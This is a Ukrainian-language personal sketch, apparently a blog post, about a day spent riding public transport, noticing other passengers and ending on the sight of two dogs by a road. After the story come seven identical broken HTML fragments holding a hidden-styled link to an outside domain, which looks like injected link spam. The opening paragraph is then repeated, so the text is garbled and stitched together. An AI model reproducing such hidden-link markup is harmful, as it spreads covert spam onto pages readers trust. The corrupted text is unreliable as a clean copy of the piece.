ень почався файно… Тобто в цьому "файно" містився якийсь ingredient незбагненності. Отже, все було по-цікавому непогано, як ніби і не було всіх отих попередніх днів, коли просинаючись вже навіть не відзначав у своїй свідомості те, що ВСЕ "як завжди", а просто відчував це усіма клітинами організму. Цілий початок цього дня думав про дівчину, з якою розійшлися днями, проте це не пригнічувало /як буває в такій ситуаціїї/, а лише трішки надавало певного шарму, смаку кожній наступній секунді. Було важко. Всередині.
Їдучи у громадському транспорті по дорозі ТУДИ помітив якусь жіночку. Вона ніби була зовсім звичайною /щоправда трохи вишукано-вбого вбрана/, та увагу привертала її поведінка: нагадувала поведінку лами, котру заганяє хижак вже довший час, шукала нори, куди б можна було забігти і ніхто б там її не побачив вже, ставало моторошно; сівши на облуплене дермантинове сидіння тіло її ніби знайшло спокій, але очі… очі вистрибували із орбіту тій самій збентеженості, щой хвилину тому. Та через мить, коли контролер зібрав свою подать, вона, видно відчувши якимось астральним 18-им чуттям свободу, дозволила собі задерти ноги на якусь перетинку під вікном… На цьому спостереження за звірятком скінчилось із причини нападу абсолютної нецікавості щодо об"єкту.
Тим часом вже майже досяг мети, приїхав ТУДИ, КУДИ їхав, і вирішивши всі питання, котрі ще годину тому були життєвоважливими, почав міркувати про повернення. Тому здавалось, що НІЩО не передвіщало НІЧОГО. Вийшов із будинку. ХТОСЬ провадив експресивну бесіду щодо ЧОГОСЬ у темновишневому Merc'і , напевне таку ж вишукану, що й колір авто.
Далі - - - - 2-оє , ймовірно не врівноважених своїм потягом до alcohole……hole……
Нарешті, цього я чекав цілісінький ранок………
- Пронесло! /Це не щодо шлунково-кишкового процесу, а щодо того, що не встиг бути обтрасканим болотом завдяки умінню водія якогось провінційно-засраного "пыжыка"/.
Я не звиконав жодної частини свого сьогоднішнього ПЛАНУ, та від цього не було важче; важче взагалі не було куди. Та все-таки відчуття невідомого незбагненно-неосяжного, цікавого, не облишало.
Все ще очікую кульмінації. Щось мало-таки це все розплутати
Але НІЧОГО так і не ставалось. Я вже подумав зав"язувати із цією ідеєю fixxx, як ось… дзвінок (!?)…
- ?
- …НІЧОГО цікавого: якась жінкоподібна істота надривно запиталась Володю/я звісно не відповідав за кроки Володі, тому КУЛЬТУРНО порадив їй не турбувати дурницями/
Автовідповідач показував невідомий львівський номер …
Дорога ДОДОМУ . Ось і все - подумав - зараз і обірветьсяця загадкова ранкова ниточка.., дивлячись на пасажирів, як на від'freez'аних voodoo, завантажених істинно своїми побутовими софізмами. Тоді як моя власна думка не встигла дійти наступного рівня в спіралі розвитку, як за вікном транспорту вималювалась цікава композиція: якась дівчина здивовано кинула погляд, що зовсім не був призначений мені, але чомусь був схоплений як остання "надія на".
Мої очі слухняно прослідували за тим поглядом; /тут подумалось - ну, от і все, ніякої "@-чої вірності" не вийде/
На узбіччі - of(f) road - розміщувались 2 пси.
Один(а) був(ла) мертвим(ою), інша(ий) - поруч, скручена(ий) у "калач" - сумна(ий)
назад
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
ень почався файно… Тобто в цьому "файно" містився якийсь ingredient незбагненності. Отже, все було по-цікавому непогано, як ніби і не було всіх отих попередніх днів, коли просинаючись вже навіть не відзначав у своїй свідомості те, що ВСЕ "як завжди", а просто відчував це усіма клітинами організму. Цілий початок цього дня думав про дівчину, з якою розійшлися днями, проте це не пригнічувало /як буває в такій ситуаціїї/, а лише трішки надавало певного шарму, смаку кожній наступній секунді. Було важко. Всередині.
